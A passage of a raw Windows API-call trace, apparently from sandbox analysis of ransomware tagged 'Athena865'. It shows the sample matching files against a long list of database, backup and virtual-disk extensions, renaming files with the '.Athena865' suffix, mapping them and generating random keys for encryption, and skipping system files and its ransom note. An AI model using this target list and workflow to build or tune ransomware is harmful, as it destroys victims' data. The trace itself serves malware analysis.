[0049.794] lstrlenW (lpString="bak") returned 3 [0049.794] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1 [0049.794] lstrlenW (lpString="ba_") returned 3 [0049.794] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1 [0049.794] lstrlenW (lpString="dbb") returned 3 [0049.794] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1 [0049.794] lstrlenW (lpString="vmdk") returned 4 [0049.794] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1 [0049.794] lstrlenW (lpString="rar") returned 3 [0049.794] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1 [0049.794] lstrlenW (lpString="zip") returned 3 [0049.794] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1 [0049.794] lstrlenW (lpString="tgz") returned 3 [0049.794] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1 [0049.794] lstrlenW (lpString="vbox") returned 4 [0049.794] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1 [0049.794] lstrlenW (lpString="vdi") returned 3 [0049.794] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1 [0049.794] lstrlenW (lpString="vhd") returned 3 [0049.794] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1 [0049.794] lstrlenW (lpString="vhdx") returned 4 [0049.794] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1 [0049.794] lstrlenW (lpString="avhd") returned 4 [0049.794] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1 [0049.794] lstrlenW (lpString="db") returned 2 [0049.794] lstrcmpiW (lpString1="if", lpString2="db") returned 1 [0049.794] lstrlenW (lpString="db2") returned 3 [0049.794] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1 [0049.794] lstrlenW (lpString="db3") returned 3 [0049.794] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1 [0049.794] lstrlenW (lpString="dbf") returned 3 [0049.794] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1 [0049.795] lstrlenW (lpString="mdf") returned 3 [0049.795] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1 [0049.795] lstrlenW (lpString="mdb") returned 3 [0049.795] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1 [0049.795] lstrlenW (lpString="sql") returned 3 [0049.795] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1 [0049.795] lstrlenW (lpString="sqlite") returned 6 [0049.795] lstrcmpiW (lpString1="gy.gif", lpString2="sqlite") returned -1 [0049.795] lstrlenW (lpString="sqlite3") returned 7 [0049.795] lstrcmpiW (lpString1="3gy.gif", lpString2="sqlite3") returned -1 [0049.795] lstrlenW (lpString="sqlitedb") returned 8 [0049.795] lstrcmpiW (lpString1="E3gy.gif", lpString2="sqlitedb") returned -1 [0049.795] lstrlenW (lpString="xml") returned 3 [0049.795] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1 [0049.795] lstrlenW (lpString="$er") returned 3 [0049.795] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1 [0049.795] lstrlenW (lpString="4dd") returned 3 [0049.795] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1 [0049.795] lstrlenW (lpString="4dl") returned 3 [0049.795] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1 [0049.795] lstrlenW (lpString="^^^") returned 3 [0049.795] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1 [0049.795] lstrlenW (lpString="abs") returned 3 [0049.795] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1 [0049.795] lstrlenW (lpString="abx") returned 3 [0049.795] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1 [0049.795] lstrlenW (lpString="accdb") returned 5 [0049.795] lstrcmpiW (lpString1="y.gif", lpString2="accdb") returned 1 [0049.795] lstrlenW (lpString="accdc") returned 5 [0049.795] lstrcmpiW (lpString1="y.gif", lpString2="accdc") returned 1 [0049.795] lstrlenW (lpString="accde") returned 5 [0049.795] lstrcmpiW (lpString1="y.gif", lpString2="accde") returned 1 [0049.795] lstrlenW (lpString="accdr") returned 5 [0049.795] lstrcmpiW (lpString1="y.gif", lpString2="accdr") returned 1 [0049.795] lstrlenW (lpString="accdt") returned 5 [0049.796] lstrcmpiW (lpString1="y.gif", lpString2="accdt") returned 1 [0049.796] lstrlenW (lpString="accdw") returned 5 [0049.796] lstrcmpiW (lpString1="y.gif", lpString2="accdw") returned 1 [0049.796] lstrlenW (lpString="accft") returned 5 [0049.796] lstrcmpiW (lpString1="y.gif", lpString2="accft") returned 1 [0049.796] lstrlenW (lpString="adb") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1 [0049.796] lstrlenW (lpString="adb") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1 [0049.796] lstrlenW (lpString="ade") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1 [0049.796] lstrlenW (lpString="adf") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1 [0049.796] lstrlenW (lpString="adn") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1 [0049.796] lstrlenW (lpString="adp") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1 [0049.796] lstrlenW (lpString="alf") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1 [0049.796] lstrlenW (lpString="ask") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1 [0049.796] lstrlenW (lpString="btr") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1 [0049.796] lstrlenW (lpString="cat") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1 [0049.796] lstrlenW (lpString="cdb") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1 [0049.796] lstrlenW (lpString="ckp") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1 [0049.796] lstrlenW (lpString="cma") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1 [0049.796] lstrlenW (lpString="cpd") returned 3 [0049.796] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1 [0049.796] lstrlenW (lpString="dacpac") returned 6 [0049.796] lstrcmpiW (lpString1="gy.gif", lpString2="dacpac") returned 1 [0049.797] lstrlenW (lpString="dad") returned 3 [0049.797] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1 [0049.797] lstrlenW (lpString="dadiagrams") returned 10 [0049.797] lstrcmpiW (lpString1="5DE3gy.gif", lpString2="dadiagrams") returned -1 [0049.797] lstrlenW (lpString="daschema") returned 8 [0049.797] lstrcmpiW (lpString1="E3gy.gif", lpString2="daschema") returned 1 [0049.797] lstrlenW (lpString="db-journal") returned 10 [0049.797] lstrcmpiW (lpString1="5DE3gy.gif", lpString2="db-journal") returned -1 [0049.797] lstrlenW (lpString="db-shm") returned 6 [0049.797] lstrcmpiW (lpString1="gy.gif", lpString2="db-shm") returned 1 [0049.797] lstrlenW (lpString="db-wal") returned 6 [0049.797] lstrcmpiW (lpString1="gy.gif", lpString2="db-wal") returned 1 [0049.797] lstrlenW (lpString="dbc") returned 3 [0049.797] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1 [0049.797] lstrlenW (lpString="dbs") returned 3 [0049.797] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1 [0049.797] lstrlenW (lpString="dbt") returned 3 [0049.797] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1 [0049.797] lstrlenW (lpString="dbv") returned 3 [0049.797] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1 [0049.797] lstrlenW (lpString="dbx") returned 3 [0049.797] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1 [0049.797] lstrlenW (lpString="dcb") returned 3 [0049.797] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1 [0049.797] lstrlenW (lpString="dct") returned 3 [0049.797] lstrcmpiW (lpString1="gif", lpString2="dct") returned 1 [0049.797] lstrlenW (lpString="dcx") returned 3 [0049.797] lstrcmpiW (lpString1="gif", lpString2="dcx") returned 1 [0049.797] lstrlenW (lpString="ddl") returned 3 [0049.797] lstrcmpiW (lpString1="gif", lpString2="ddl") returned 1 [0049.797] lstrlenW (lpString="dlis") returned 4 [0049.798] lstrcmpiW (lpString1=".gif", lpString2="dlis") returned -1 [0049.798] lstrlenW (lpString="dp1") returned 3 [0049.798] lstrcmpiW (lpString1="gif", lpString2="dp1") returned 1 [0049.798] lstrlenW (lpString="dqy") returned 3 [0049.798] lstrcmpiW (lpString1="gif", lpString2="dqy") returned 1 [0049.798] lstrlenW (lpString="dsk") returned 3 [0049.798] lstrcmpiW (lpString1="gif", lpString2="dsk") returned 1 [0049.798] lstrlenW (lpString="dsn") returned 3 [0049.798] lstrcmpiW (lpString1="gif", lpString2="dsn") returned 1 [0049.798] lstrlenW (lpString="dtsx") returned 4 [0049.798] lstrcmpiW (lpString1=".gif", lpString2="dtsx") returned -1 [0049.798] lstrlenW (lpString="dxl") returned 3 [0049.798] lstrcmpiW (lpString1="gif", lpString2="dxl") returned 1 [0049.798] lstrlenW (lpString="eco") returned 3 [0049.798] lstrcmpiW (lpString1="gif", lpString2="eco") returned 1 [0049.798] lstrlenW (lpString="ecx") returned 3 [0049.798] lstrcmpiW (lpString1="gif", lpString2="ecx") returned 1 [0049.798] lstrlenW (lpString="edb") returned 3 [0049.798] lstrcmpiW (lpString1="gif", lpString2="edb") returned 1 [0049.798] lstrlenW (lpString="epim") returned 4 [0049.798] lstrcmpiW (lpString1=".gif", lpString2="epim") returned -1 [0049.798] lstrlenW (lpString="fcd") returned 3 [0049.798] lstrcmpiW (lpString1="gif", lpString2="fcd") returned 1 [0049.798] lstrlenW (lpString="fdb") returned 3 [0049.798] lstrcmpiW (lpString1="gif", lpString2="fdb") returned 1 [0049.798] lstrlenW (lpString="fic") returned 3 [0049.798] lstrcmpiW (lpString1="gif", lpString2="fic") returned 1 [0049.798] lstrlenW (lpString="flexolibrary") returned 12 [0049.798] lstrcmpiW (lpString1="T45DE3gy.gif", lpString2="flexolibrary") returned 1 [0049.798] lstrlenW (lpString="fm5") returned 3 [0049.798] lstrcmpiW (lpString1="gif", lpString2="fm5") returned 1 [0049.798] lstrlenW (lpString="fmp") returned 3 [0049.798] lstrcmpiW (lpString1="gif", lpString2="fmp") returned 1 [0049.799] lstrlenW (lpString="fmp12") returned 5 [0049.799] lstrcmpiW (lpString1="y.gif", lpString2="fmp12") returned 1 [0049.799] lstrlenW (lpString="fmpsl") returned 5 [0049.799] lstrcmpiW (lpString1="y.gif", lpString2="fmpsl") returned 1 [0049.799] lstrlenW (lpString="fol") returned 3 [0049.799] lstrcmpiW (lpString1="gif", lpString2="fol") returned 1 [0049.799] lstrlenW (lpString="fp3") returned 3 [0049.799] lstrcmpiW (lpString1="gif", lpString2="fp3") returned 1 [0049.799] lstrlenW (lpString="fp4") returned 3 [0049.799] lstrcmpiW (lpString1="gif", lpString2="fp4") returned 1 [0049.799] lstrlenW (lpString="fp5") returned 3 [0049.799] lstrcmpiW (lpString1="gif", lpString2="fp5") returned 1 [0049.799] lstrlenW (lpString="fp7") returned 3 [0049.799] lstrcmpiW (lpString1="gif", lpString2="fp7") returned 1 [0049.799] lstrlenW (lpString="fpt") returned 3 [0049.799] lstrcmpiW (lpString1="gif", lpString2="fpt") returned 1 [0049.799] lstrlenW (lpString="frm") returned 3 [0049.799] lstrcmpiW (lpString1="gif", lpString2="frm") returned 1 [0049.799] lstrlenW (lpString="gdb") returned 3 [0049.799] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1 [0049.799] lstrlenW (lpString="gdb") returned 3 [0049.799] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1 [0049.799] lstrlenW (lpString="grdb") returned 4 [0049.799] lstrcmpiW (lpString1=".gif", lpString2="grdb") returned -1 [0049.799] lstrlenW (lpString="gwi") returned 3 [0049.799] lstrcmpiW (lpString1="gif", lpString2="gwi") returned -1 [0049.799] lstrlenW (lpString="hdb") returned 3 [0049.799] lstrcmpiW (lpString1="gif", lpString2="hdb") returned -1 [0049.799] lstrlenW (lpString="his") returned 3 [0049.799] lstrcmpiW (lpString1="gif", lpString2="his") returned -1 [0049.799] lstrlenW (lpString="ib") returned 2 [0049.799] lstrcmpiW (lpString1="if", lpString2="ib") returned 1 [0049.799] lstrlenW (lpString="idb") returned 3 [0049.799] lstrcmpiW (lpString1="gif", lpString2="idb") returned -1 [0049.799] lstrlenW (lpString="ihx") returned 3 [0049.800] lstrcmpiW (lpString1="gif", lpString2="ihx") returned -1 [0049.800] lstrlenW (lpString="itdb") returned 4 [0049.800] lstrcmpiW (lpString1=".gif", lpString2="itdb") returned -1 [0049.800] lstrlenW (lpString="itw") returned 3 [0049.800] lstrcmpiW (lpString1="gif", lpString2="itw") returned -1 [0049.800] lstrlenW (lpString="jet") returned 3 [0049.800] lstrcmpiW (lpString1="gif", lpString2="jet") returned -1 [0049.800] lstrlenW (lpString="jtx") returned 3 [0049.800] lstrcmpiW (lpString1="gif", lpString2="jtx") returned -1 [0049.800] lstrlenW (lpString="kdb") returned 3 [0049.800] lstrcmpiW (lpString1="gif", lpString2="kdb") returned -1 [0049.800] lstrlenW (lpString="kexi") returned 4 [0049.800] lstrcmpiW (lpString1=".gif", lpString2="kexi") returned -1 [0049.800] lstrlenW (lpString="kexic") returned 5 [0049.800] lstrcmpiW (lpString1="y.gif", lpString2="kexic") returned 1 [0049.800] lstrlenW (lpString="kexis") returned 5 [0049.800] lstrcmpiW (lpString1="y.gif", lpString2="kexis") returned 1 [0049.800] lstrlenW (lpString="lgc") returned 3 [0049.800] lstrcmpiW (lpString1="gif", lpString2="lgc") returned -1 [0049.800] lstrlenW (lpString="lwx") returned 3 [0049.800] lstrcmpiW (lpString1="gif", lpString2="lwx") returned -1 [0049.800] lstrlenW (lpString="maf") returned 3 [0049.800] lstrcmpiW (lpString1="gif", lpString2="maf") returned -1 [0049.800] lstrlenW (lpString="maq") returned 3 [0049.800] lstrcmpiW (lpString1="gif", lpString2="maq") returned -1 [0049.800] lstrlenW (lpString="mar") returned 3 [0049.800] lstrcmpiW (lpString1="gif", lpString2="mar") returned -1 [0049.800] lstrlenW (lpString="marshal") returned 7 [0049.800] lstrcmpiW (lpString1="3gy.gif", lpString2="marshal") returned -1 [0049.800] lstrlenW (lpString="mas") returned 3 [0049.800] lstrcmpiW (lpString1="gif", lpString2="mas") returned -1 [0049.800] lstrlenW (lpString="mav") returned 3 [0049.800] lstrcmpiW (lpString1="gif", lpString2="mav") returned -1 [0049.800] lstrlenW (lpString="maw") returned 3 [0049.800] lstrcmpiW (lpString1="gif", lpString2="maw") returned -1 [0049.800] lstrlenW (lpString="mdbhtml") returned 7 [0049.801] lstrcmpiW (lpString1="3gy.gif", lpString2="mdbhtml") returned -1 [0049.801] lstrlenW (lpString="mdn") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="mdn") returned -1 [0049.801] lstrlenW (lpString="mdt") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="mdt") returned -1 [0049.801] lstrlenW (lpString="mfd") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="mfd") returned -1 [0049.801] lstrlenW (lpString="mpd") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="mpd") returned -1 [0049.801] lstrlenW (lpString="mrg") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="mrg") returned -1 [0049.801] lstrlenW (lpString="mud") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="mud") returned -1 [0049.801] lstrlenW (lpString="mwb") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="mwb") returned -1 [0049.801] lstrlenW (lpString="myd") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="myd") returned -1 [0049.801] lstrlenW (lpString="ndf") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="ndf") returned -1 [0049.801] lstrlenW (lpString="nnt") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="nnt") returned -1 [0049.801] lstrlenW (lpString="nrmlib") returned 6 [0049.801] lstrcmpiW (lpString1="gy.gif", lpString2="nrmlib") returned -1 [0049.801] lstrlenW (lpString="ns2") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="ns2") returned -1 [0049.801] lstrlenW (lpString="ns3") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="ns3") returned -1 [0049.801] lstrlenW (lpString="ns4") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="ns4") returned -1 [0049.801] lstrlenW (lpString="nsf") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="nsf") returned -1 [0049.801] lstrlenW (lpString="nv") returned 2 [0049.801] lstrcmpiW (lpString1="if", lpString2="nv") returned -1 [0049.801] lstrlenW (lpString="nv2") returned 3 [0049.801] lstrcmpiW (lpString1="gif", lpString2="nv2") returned -1 [0049.801] lstrlenW (lpString="nwdb") returned 4 [0049.801] lstrcmpiW (lpString1=".gif", lpString2="nwdb") returned -1 [0049.802] lstrlenW (lpString="nyf") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="nyf") returned -1 [0049.802] lstrlenW (lpString="odb") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1 [0049.802] lstrlenW (lpString="odb") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1 [0049.802] lstrlenW (lpString="oqy") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="oqy") returned -1 [0049.802] lstrlenW (lpString="ora") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="ora") returned -1 [0049.802] lstrlenW (lpString="orx") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="orx") returned -1 [0049.802] lstrlenW (lpString="owc") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="owc") returned -1 [0049.802] lstrlenW (lpString="p96") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="p96") returned -1 [0049.802] lstrlenW (lpString="p97") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="p97") returned -1 [0049.802] lstrlenW (lpString="pan") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="pan") returned -1 [0049.802] lstrlenW (lpString="pdb") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="pdb") returned -1 [0049.802] lstrlenW (lpString="pdm") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="pdm") returned -1 [0049.802] lstrlenW (lpString="pnz") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="pnz") returned -1 [0049.802] lstrlenW (lpString="qry") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="qry") returned -1 [0049.802] lstrlenW (lpString="qvd") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="qvd") returned -1 [0049.802] lstrlenW (lpString="rbf") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="rbf") returned -1 [0049.802] lstrlenW (lpString="rctd") returned 4 [0049.802] lstrcmpiW (lpString1=".gif", lpString2="rctd") returned -1 [0049.802] lstrlenW (lpString="rod") returned 3 [0049.802] lstrcmpiW (lpString1="gif", lpString2="rod") returned -1 [0049.803] lstrlenW (lpString="rodx") returned 4 [0049.803] lstrcmpiW (lpString1=".gif", lpString2="rodx") returned -1 [0049.803] lstrlenW (lpString="rpd") returned 3 [0049.803] lstrcmpiW (lpString1="gif", lpString2="rpd") returned -1 [0049.803] lstrlenW (lpString="rsd") returned 3 [0049.803] lstrcmpiW (lpString1="gif", lpString2="rsd") returned -1 [0049.803] lstrlenW (lpString="sas7bdat") returned 8 [0049.803] lstrcmpiW (lpString1="E3gy.gif", lpString2="sas7bdat") returned -1 [0049.803] lstrlenW (lpString="sbf") returned 3 [0049.803] lstrcmpiW (lpString1="gif", lpString2="sbf") returned -1 [0049.803] lstrlenW (lpString="scx") returned 3 [0049.803] lstrcmpiW (lpString1="gif", lpString2="scx") returned -1 [0049.803] lstrlenW (lpString="sdb") returned 3 [0049.803] lstrcmpiW (lpString1="gif", lpString2="sdb") returned -1 [0049.803] lstrlenW (lpString="sdc") returned 3 [0049.803] lstrcmpiW (lpString1="gif", lpString2="sdc") returned -1 [0049.803] lstrlenW (lpString="sdf") returned 3 [0049.803] lstrcmpiW (lpString1="gif", lpString2="sdf") returned -1 [0049.803] lstrlenW (lpString="sis") returned 3 [0049.803] lstrcmpiW (lpString1="gif", lpString2="sis") returned -1 [0049.803] lstrlenW (lpString="spq") returned 3 [0049.803] lstrcmpiW (lpString1="gif", lpString2="spq") returned -1 [0049.803] lstrlenW (lpString="te") returned 2 [0049.803] lstrcmpiW (lpString1="if", lpString2="te") returned -1 [0049.803] lstrlenW (lpString="teacher") returned 7 [0049.803] lstrcmpiW (lpString1="3gy.gif", lpString2="teacher") returned -1 [0049.803] lstrlenW (lpString="tmd") returned 3 [0049.803] lstrcmpiW (lpString1="gif", lpString2="tmd") returned -1 [0049.803] lstrlenW (lpString="tps") returned 3 [0049.803] lstrcmpiW (lpString1="gif", lpString2="tps") returned -1 [0049.803] lstrlenW (lpString="trc") returned 3 [0049.803] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1 [0049.803] lstrlenW (lpString="trc") returned 3 [0049.803] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1 [0049.804] lstrlenW (lpString="trm") returned 3 [0049.804] lstrcmpiW (lpString1="gif", lpString2="trm") returned -1 [0049.804] lstrlenW (lpString="udb") returned 3 [0049.804] lstrcmpiW (lpString1="gif", lpString2="udb") returned -1 [0049.804] lstrlenW (lpString="udl") returned 3 [0049.804] lstrcmpiW (lpString1="gif", lpString2="udl") returned -1 [0049.804] lstrlenW (lpString="usr") returned 3 [0049.804] lstrcmpiW (lpString1="gif", lpString2="usr") returned -1 [0049.804] lstrlenW (lpString="v12") returned 3 [0049.804] lstrcmpiW (lpString1="gif", lpString2="v12") returned -1 [0049.804] lstrlenW (lpString="vis") returned 3 [0049.804] lstrcmpiW (lpString1="gif", lpString2="vis") returned -1 [0049.804] lstrlenW (lpString="vpd") returned 3 [0049.804] lstrcmpiW (lpString1="gif", lpString2="vpd") returned -1 [0049.804] lstrlenW (lpString="vvv") returned 3 [0049.804] lstrcmpiW (lpString1="gif", lpString2="vvv") returned -1 [0049.804] lstrlenW (lpString="wdb") returned 3 [0049.804] lstrcmpiW (lpString1="gif", lpString2="wdb") returned -1 [0049.804] lstrlenW (lpString="wmdb") returned 4 [0049.804] lstrcmpiW (lpString1=".gif", lpString2="wmdb") returned -1 [0049.804] lstrlenW (lpString="wrk") returned 3 [0049.804] lstrcmpiW (lpString1="gif", lpString2="wrk") returned -1 [0049.804] lstrlenW (lpString="xdb") returned 3 [0049.804] lstrcmpiW (lpString1="gif", lpString2="xdb") returned -1 [0049.804] lstrlenW (lpString="xld") returned 3 [0049.804] lstrcmpiW (lpString1="gif", lpString2="xld") returned -1 [0049.804] lstrlenW (lpString="xmlff") returned 5 [0049.804] lstrcmpiW (lpString1="y.gif", lpString2="xmlff") returned 1 [0049.804] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\IT45DE3gy.gif.Athena865") returned 87 [0049.804] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\IT45DE3gy.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\it45de3gy.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\IT45DE3gy.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\it45de3gy.gif.athena865"), dwFlags=0x1) returned 1 [0049.805] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\IT45DE3gy.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\it45de3gy.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.805] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=60243) returned 1 [0049.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.805] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.806] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.806] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.806] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xee60, lpName=0x0) returned 0x17c [0049.806] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xee60) returned 0x100000 [0049.808] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.809] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.809] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.810] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.810] CloseHandle (hObject=0x17c) returned 1 [0049.810] CloseHandle (hObject=0x154) returned 1 [0049.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.812] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe4c0f690, ftCreationTime.dwHighDateTime=0x1d4cbfe, ftLastAccessTime.dwLowDateTime=0x90ccba60, ftLastAccessTime.dwHighDateTime=0x1d4d1bc, ftLastWriteTime.dwLowDateTime=0x90ccba60, ftLastWriteTime.dwHighDateTime=0x1d4d1bc, nFileSizeHigh=0x0, nFileSizeLow=0x15b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jiY-PfMP0EW.png", cAlternateFileName="JIY-PF~1.PNG")) returned 1 [0049.812] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.812] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.812] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2=".") returned 1 [0049.812] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2="..") returned 1 [0049.812] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2="windows") returned -1 [0049.812] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2="bootmgr") returned 1 [0049.812] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2="temp") returned -1 [0049.812] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2="pagefile.sys") returned -1 [0049.812] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2="boot") returned 1 [0049.812] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2="ids.txt") returned 1 [0049.812] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2="ntuser.dat") returned -1 [0049.812] 